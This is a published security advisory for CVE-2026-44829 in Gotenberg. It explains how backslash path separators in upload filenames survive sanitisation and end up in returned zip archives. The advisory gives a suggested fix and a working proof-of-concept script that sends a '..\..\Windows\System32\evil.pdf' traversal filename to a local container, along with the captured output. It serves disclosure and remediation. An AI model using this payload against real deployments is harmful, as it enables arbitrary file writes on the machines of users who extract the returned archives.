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CVE-2026-44829 — Gotenberg has path traversal in...

HIGH

Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename

Published May 29, 2026Updated June 25, 2026Source: osv

Summary

### Summary `filepath.Base` on the Linux container does not strip backslashes (`\`), because `\` is only a path separator on Windows. A multipart filename like `..\..\..\..\Windows\System32\evil.pdf` survives Gotenberg's input sanitisation and lands verbatim as the zip entry name when a multi-output route returns its result as a zip (e.g. `/forms/pdfengines/split`). Windows zip extractors interpret `\` as a path separator and write the file outside the extraction directory. ### Details `pkg/modules/api/context.go:434, 472`: ```go filename := norm.NFC.String(filepath.Base(fh.Filename)) ``` On Linux, `filepath.Base("..\\..\\..\\..\\Windows\\System32\\evil.pdf")` returns the same string verbatim — there are no `/` separators to find. The original filename then flows to `ctx.diskToOriginal` (`pkg/modules/api/context.go:459, 393`) and through `pkg/modules/pdfengines/routes.go:287-322` (`SplitPdfStub`), which builds: ```go originalNameNoExt := strings.TrimSuffix(originalName, filepath.Ext(originalName)) newOriginal := fmt.Sprintf("%s_%d.pdf", originalNameNoExt, i) ctx.RegisterDiskPath(newPath, newOriginal) ``` Finally `pkg/modules/api/context.go:617-642` constructs the zip via `archives.FilesFromDisk` + `archives.Zip{}.Archive`. `mholt/archives@v0.1.5/archives.go:155-184` (`nameOnDiskToNameInArchive`) returns `path.Join(rootInArchive, "")` — the map value verbatim. ### Suggested fix ```diff - filename := norm.NFC.String(filepath.Base(fh.Filename)) + filename := sanitizeFilename(fh.Filename) + + func sanitizeFilename(name string) string { + if i := strings.LastIndexAny(name, "/\\"); i >= 0 { + name = name[i+1:] + } + name = norm.NFC.String(name) + // Optional belt-and-braces: + name = strings.ReplaceAll(name, "..", "_") + name = strings.Map(func(r rune) rune { + if r < 0x20 || r == 0x7f { return -1 } + return r + }, name) + return name + } ``` The same sanitiser closes Advisory 8. ### PoC **Prerequisite:** `pip install requests`. `curl -F filename=` mangles backslashes on some shells, so we use Python's `requests` to deliver the malicious filename byte-perfect. ```bash mkdir -p /tmp/gotenberg-poc && cd /tmp/gotenberg-poc docker rm -f gotenberg-audit 2>/dev/null docker run -d --rm --name gotenberg-audit -p 3000:3000 gotenberg/gotenberg:8.32.0 i=0; until [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/health)" = "200" ] || [ $i -ge 30 ]; do i=$((i+1)); sleep 2; done # Stub PDF. printf '%%PDF-1.4\n1 0 obj<</Type/Catalog/Pages 2 0 R>>endobj\n2 0 obj<</Type/Pages/Kids[3 0 R]/Count 1>>endobj\n3 0 obj<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>endobj\nxref\n0 4\n0000000000 65535 f\n0000000010 00000 n\n0000000053 00000 n\n0000000100 00000 n\ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n158\n%%%%EOF\n' > stub.pdf # Step 1: produce a 2-page PDF so /split returns multiple entries. curl -s -o two.pdf -X POST http://localhost:3000/forms/pdfengines/merge \ -F 'files=@stub.pdf;filename=a.pdf' \ -F 'files=@stub.pdf;filename=b.pdf' # Step 2: split, declaring the multipart filename as a Windows path-traversal payload. python3 - <<'PY' import requests, zipfile, binascii fname = '..\\..\\..\\..\\Windows\\System32\\evil.pdf' files = {'files': (fname, open('two.pdf', 'rb'), 'application/pdf')} data = {'splitMode': 'intervals', 'splitSpan': '1'} r = requests.post('http://localhost:3000/forms/pdfengines/split', files=files, data=data) print(f'HTTP={r.status_code} ctype={r.headers.get("content-type")} bytes={len(r.content)}') open('split.zip', 'wb').write(r.content) z = zipfile.ZipFile('split.zip') print('--- zip entries (orig_filename) ---') for info in z.infolist(): print(f' {info.orig_filename!r}') # Show raw central-directory bytes to prove backslashes are on the wire: data = open('split.zip', 'rb').read() idx = data.find(b'PK\x01\x02') print('--- raw central-dir hex around filename ---') print(f' {binascii.hexlify(data[idx:idx+80]).decode()}') PY docker stop gotenberg-audit ``` **Observed output:** ``` HTTP=200 ctype=application/zip bytes=24750 --- zip entries (orig_filename) --- '..\\..\\..\\..\\Windows\\System32\\evil_0.pdf' '..\\..\\..\\..\\Windows\\System32\\evil_1.pdf' --- raw central-dir hex around filename --- 504b010214031400080800009a7da25c61b6fc178e2f00008e2f0000270009000000000000000000a481000000002e2e5c2e2e5c2e2e5c2e2e5c57696e646f77735c53797374656d33325c6576696c5f ``` The trailing hex `2e2e5c 2e2e5c 2e2e5c 2e2e5c 57696e646f7773 5c 53797374656d3332 5c 6576696c5f` decodes to `..\..\..\..\Windows\System32\evil_`. (Python's `ZipFile.namelist()` would normally hide this by displaying `/`, but `info.orig_filename` returns the literal backslash form.) To see the Windows-side traversal effect on a Windows host, run: ```powershell Expand-Archive -Path .\split.zip -DestinationPath .\out -Force Get-ChildItem .\out -Recurse # → out\Windows\System32\evil_0.pdf # → out\Windows\System32\evil_1.pdf ``` PowerShell collapses the `..` parents but creates the `Windows\System32\` subdirectory tree. 7-Zip and WinRAR with default settings honor the `..` parents and traverse out of the extraction directory entirely. ### Impact - Arbitrary file write on a Windows-side consumer that extracts the returned zip (Windows Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`). - Reachable via every multi-output Gotenberg route — `/forms/pdfengines/split`, `/forms/pdfengines/flatten`/`/encrypt`/`/embed`/`/watermark`/`/stamp`/`/rotate` (when called with multiple input PDFs), `/forms/libreoffice/convert` with multiple inputs, `/forms/pdfengines/convert`. - Also reachable via `downloadFrom` upstream `Content-Disposition: filename="..\\..\\evil.exe"` — the filename flows through the same `ctx.diskToOriginal` map at `pkg/modules/api/context.go:354, 393`.

Advisory Timeline

  • First published May 29, 2026 (136 days ago).
  • Last revised June 25, 2026 — 27 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/gotenberg/gotenberg/v8 to 8.33.0 or later
go get github.com/gotenberg/gotenberg/v8@v8.33.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/gotenberg/gotenberg/v8
go
All versions8.33.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
High
Availability
Low

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:H/A:L

Frequently Asked Questions

What is CVE-2026-44829?
Gotenberg has path traversal in zip entry name via Windows-style separators in upload filename This vulnerability has been assigned a severity rating of HIGH (CVSS score: 8.8/10).
How do I check if my project is affected by CVE-2026-44829?
CVE-2026-44829 affects github.com/gotenberg/gotenberg/v8. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-44829 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
8.8

High exploitability or significant impact. Prioritize remediation within days.

Also Known As

GHSA-hwc4-gmrw-5222
GO-2026-5443

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